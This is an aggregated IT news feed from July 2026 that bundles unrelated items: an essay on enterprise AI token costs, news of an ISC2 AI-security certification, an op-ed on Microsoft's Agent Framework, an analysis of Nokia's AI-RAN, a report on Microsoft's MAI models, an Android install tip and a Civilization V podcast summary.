Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).

Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.

The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.

Risks in the AI adoption model

Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).

I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.

Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.

Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”

Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.

As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.

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]]> <![CDATA[USN-8603-1: Linux kernel (Azure) vulnerabilities]]> https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/ https://tsecurity.de/de/3691319/unix-server/usn-8603-1-linux-kernel-azure-vulnerabilities/ Fri, 24 Jul 2026 13:02:31 +0200 🐧 Unix Server tsecurity.de <![CDATA[ISC2 seeks input from IT pros for AI security certification]]> https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/ https://tsecurity.de/de/3691227/it-security-nachrichten/isc2-seeks-input-from-it-pros-for-ai-security-certification/ Fri, 24 Jul 2026 12:09:03 +0200 📰 IT Security Nachrichten tsecurity.de

ISC2 has begun developing a vendor-neutral AI security certification aimed at cybersecurity professionals working to secure AI systems and manage emerging AI risks.

The nonprofit organization, best known for the CISSP certification, says it is seeking volunteers worldwide to help define the knowledge and skills that will shape the new credential. While ISC2 has not finalized the certification domains, the certification is expected to address both technical AI security and governance topics, with a pilot exam planned before the end of 2026.

According to Casey Marks, ISC2 chief operating officer, feedback from cybersecurity practitioners led ISC2 to conclude that AI security had grown beyond expanding AI content within existing certifications.

“AI has reached a tipping point,” Marks says. “AI no longer is just another tool; instead, it has fundamentally changed the cybersecurity practice itself.”

ISC2 already includes AI-related content in certifications including CISSP and CCSP, but Marks says practitioners have identified new responsibilities and risks that extend beyond those programs. “Enterprise security teams are currently grappling with significant knowledge gaps, particularly around securing model architectures against new vulnerabilities like prompt injection, data poisoning, and model inversion,” Marks adds.

Organizations are working to understand emerging governance frameworks, including the NIST AI Risk Management Framework and ISO/IEC 42001, while adapting traditional application security and security operations workflows to AI systems, he says.

ISC2 has not finalized the certification domains, but Marks says the organization expects the credential to address both technical controls and governance practices for securing AI systems and managing AI risk. The certification will use ISC2’s established certification development process, which relies on cybersecurity practitioners to define job roles, develop exam content, and validate competencies.

Marks says ISC2 will continue to update the certification through ongoing input from cybersecurity professionals, in addition to its regular certification review process.

The organization is also determining which professionals the certification will target. Marks says AI security responsibilities are emerging across security architecture, risk management, security operations, software development security, governance and compliance, communication and network security, and security assessment and testing. ISC2 says the certification will reflect how those roles are evolving.

For organizations that are building AI security programs now, Marks recommends using existing AI training resources, adopting established governance frameworks, creating cross-functional AI security working groups, and participating in the certification development process.

Marks says ISC2 expects AI knowledge to become part of most cybersecurity roles while a more specialized AI security discipline continues to develop. He says organizations will increasingly need professionals with foundational AI security knowledge, as well as specialists in areas such as adversarial machine learning, model architectures, and AI data pipelines.

Looking ahead, Marks says he expects AI security expertise to evolve into both a foundational skill for cybersecurity professionals and a specialized discipline of its own.

“At this time, we are seeing a hybrid evolution occurring in real time: AI security is simultaneously becoming a baseline expectation for all security roles, while also carving out a dedicated, highly specialized discipline,” Marks says.

]]> <![CDATA[The Microsoft agent framework wars are over. The real architecture decision starts now]]> https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/ https://tsecurity.de/de/3691079/ai-nachrichten/the-microsoft-agent-framework-wars-are-over-the-real-architecture-decision-starts-now/ Fri, 24 Jul 2026 11:04:58 +0200 🔧 AI Nachrichten tsecurity.de

Over the past year, I had the same conversation with almost every team starting an AI initiative. Should we build on Semantic Kernel, AutoGen or Foundry?

At first it felt like the most important architectural decision we’d make. Each framework had its own philosophy, each promised to be the foundation for enterprise AI, and picking the wrong one felt like an expensive mistake. I spent a lot of time helping teams weigh the trade-offs.

Looking back, I think we were asking the wrong question. I certainly was.

I watched teams spend months debating SDKs while the decisions that actually decided whether their applications survived production went unexamined. Some built elaborate orchestration layers for workflows that a few deterministic functions would have handled. Others avoided agent frameworks entirely and later found they’d designed themselves into a corner.

Then Microsoft settled it for us. It introduced the unified Agent Framework, quietly moved Semantic Kernel and AutoGen into maintenance mode, and the debate I’d spent months refereeing was suddenly over. Turns out the answer to “which of the three” was “none of the three, here’s a fourth.” The framework hit version 1.0 and general availability in April 2026, stable across .NET and Python.

What surprised me wasn’t the decision. It was how fast a debate that had eaten so much of our attention stopped mattering. Microsoft changed the menu.

It didn’t change the meal.

The framework was never the hard part

Framework selection dominated almost every early conversation I had about enterprise agents. Which SDK do we standardize on? Which orchestration model gives us the most flexibility? Which one is Microsoft actually betting on?

Fair questions. But after a year of watching these projects play out, I’ve slowly come around to a different view. Those weren’t the questions that decided anything.

The first question I ask now is much smaller. Does this thing actually need an agent?

It sounds obvious, and I still get it wrong sometimes. But it’s the mistake I see most. On one project, a team spent weeks designing a multi-agent workflow for a process that ran the same four steps every time: read a document, validate it, call an API, send a notification. The diagrams looked great. The system in production didn’t. A few well-tested functions would have been easier to build, easier to maintain and a lot easier to trust.

Part of this is just that “agent” has become the word everyone reaches for. Sometimes it’s the right call. Sometimes it’s a workflow we already knew how to build, wearing a newer label. An agent earns its complexity when it genuinely has to decide things you can’t predetermine, choosing between tools, adapting to what it finds, working out its own next step. If you already know every step, you have a workflow, and a workflow is usually the better engineering choice. The consolidation didn’t change that. It just made it easier to see.

What building production agents actually taught me

Once I stopped fixating on frameworks, the same three problems kept showing up. None of them had anything to do with the SDK.

Context beats model choice

Early on I spent a lot of time comparing models, the way you’d agonize over a restaurant menu and then order what you always order. Now I spend most of it thinking about context, which is far less fun and far more useful.

I’ve watched good models fail because they were handed too much, not too little. One team I worked with gave the model access to nearly every internal document they had on the theory that more information meant better answers. It went the other way. Responses got slower, less consistent and sometimes skipped right past the thing that actually mattered. When we cut the context down to only what the task needed, the quality jumped almost immediately. I didn’t predict that. It taught me to be suspicious of “just give it everything.”

The best agent systems I’ve worked on weren’t the ones with the biggest context windows. They were the ones careful about what reached the model, and when. That’s not something the framework hands you.

Failure is where the real work is

Most agent demos look great because they’re built around the happy path. Production doesn’t extend that courtesy.

I remember a project where everything held up in testing. Then a downstream API timed out after the agent had already completed several earlier steps. We couldn’t just restart, because part of the business process had already gone through. We ended up spending far more time on recovery logic than we ever spent on prompts. That project changed how I think about this work. The hard part was never getting the model to make a decision. It was making sure the system didn’t fall apart when reality refused to follow the script.

Tool calls fail partway through. APIs return inconsistent data. Models call the same tool over and over because the last answer wasn’t what they wanted. That’s not the exception; that’s a normal Tuesday. Whether you retry, roll back, pause for a human or push on with partial results is a judgment call, and no framework is going to make it for you.

Identity is the real security boundary

This one surprised me most. The moment an agent stops being a chatbot and starts touching real business systems, identity matters more than orchestration.

Every project gets to the same question eventually. Who is this agent actually acting as? The developer’s credentials? A service account? The user who asked? Get it wrong and you’ve built something autonomous running with more access than any single person should have, which is exactly the kind of thing that looks fine until an audit. The Agent Framework, like most modern tooling, makes it easier to wire agents to tools through standards like the Model Context Protocol. That helps. But where human approval belongs, what needs extra authorization, how much rope to give the thing, those are still yours to decide.

The surprises weren’t technical

Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.

Build for change, not for today’s winner

I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.

The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.

For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.

I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.

It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.

So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.

Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?

Those questions outlast every rewrite. That’s where I’ve learned to put my effort.

Frameworks come and go. Good architecture has to survive all of them.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]> https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/ https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/ Fri, 24 Jul 2026 10:13:45 +0200 📰 IT Security Nachrichten tsecurity.de

Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.

With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.

Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including providing a path to 6G. The partnership with Nvidia brings CUDA and AI into mobile environments.

For Network World readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.

What AI-RAN actually is

At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. Udayan Mukherjee, Nokia’s CTO for RAN and core, summarized the vision in the analyst briefing: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform
 one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”

Several pillars stand out:

  • AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.
  • Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.
  • Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.
  • Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product
 but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.

Why AI-RAN matters for operators

Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.

First, spectrum constraints. Aji Ed, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.

Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.

Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation
 we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.

For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.

Nokia’s differentiation strategy

Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure
 all of these require much higher compute, which is exactly what is coming from the accelerated computing.”

Several differentiators emerge:

  • Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.
  • Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.
  • Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.
  • Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.

Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform
 any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.

How AI-RAN unlocks new revenue

Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.

Examples include:

  • Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it
 as well as two other companies developing location services.”
  • Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.
  • Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.
  • Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.

Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:

  • Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.
  • Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.
  • Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.

For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”

Adoption path and reality check

Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.

There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.

For Network World readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.

]]> <![CDATA[Fix App Not Installed As Package Appears To Be Invalid]]> https://tsecurity.de/de/3690748/it-security-nachrichten/fix-app-not-installed-as-package-appears-to-be-invalid/ https://tsecurity.de/de/3690748/it-security-nachrichten/fix-app-not-installed-as-package-appears-to-be-invalid/ Fri, 24 Jul 2026 07:15:26 +0200 📰 IT Security Nachrichten tsecurity.de Key TakeawaysIssue of 'App Not Installed As Package Appears To Be Invalid' arises from non-Play Store app installations on Android devices.Troubleshooting steps include restarting the device, checking storage availability, downloading the app again from a reliable source, verifying device architecture compatibility, disabling Google Play Protect temporarily, deleting existing app data, resetting app preferences, and trying [
]

The post Fix App Not Installed As Package Appears To Be Invalid appeared first on iTech Hacks.

]]> <![CDATA[Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI]]> https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/ https://tsecurity.de/de/3690504/it-nachrichten/microsoft-launches-new-in-house-ai-models-it-says-cut-costs-up-to-89-versus-openai/ Fri, 24 Jul 2026 02:50:17 +0200 📰 IT Nachrichten tsecurity.de Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.

The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.

"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.

How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve

The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.

The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."

MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.

Microsoft's production metrics show in-house models cutting GPU costs by up to 89%

The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 

Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.

On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.

Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.

Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel

In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.

The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.

Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.

That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.

Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship

Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."

Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?

Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 

“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”

Developers cheer cheaper task-specific models while skeptics question Microsoft's track record

The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."

Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."

The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.

But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.

Why Microsoft is turning its internal AI playbook into an Azure product

The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.

The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."

Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

]]> <![CDATA[HPR4690: Playing Civilization V, Part 14]]> https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/ https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/ Fri, 24 Jul 2026 02:04:41 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my Diplomatic Victory, but a Science or Domination Victory would definitely have been easier in this scenario.

Playing Civilization V, Part 14

Now I am at turn 340, I just puppeted another City-State, and I have one more on the way. I have sent a large number of military units, both land and sea, to the City-States that are on Japan’s border. If he tries anything now he will likely regret it. Now I am starting to build things I had not bothered with before, like Granaries and Amphitheaters. I got a couple of Great Engineers, and used them to rush build Wonders. I am nearly finished puppeting all of the City-States, and my Happiness and Income are both quite healthy. I am in such good shape I started to build the World’s Fair, which I initally proposed then ignored.

At this point I only have one more City-State to puppet, then I will have puppeted every City-State in the game. So it is time to put my large income to use in other ways by giving gifts to the other players. I may want to get a few more votes on my side to get over the top in the World Leader vote when it happens. On turn 357 I completed the puppeting of all of the City-States in the game. Meanwhile, I am building up my Science and building Wonders as they become available. I didn’t build any in the early game because I had other priorities, but now I have a strong military, high income, and no other pressing needs. My score on the Leader Board is now double that of my nearest competitor which is still Japan. And their denunciation me of just expired with them taking no action.

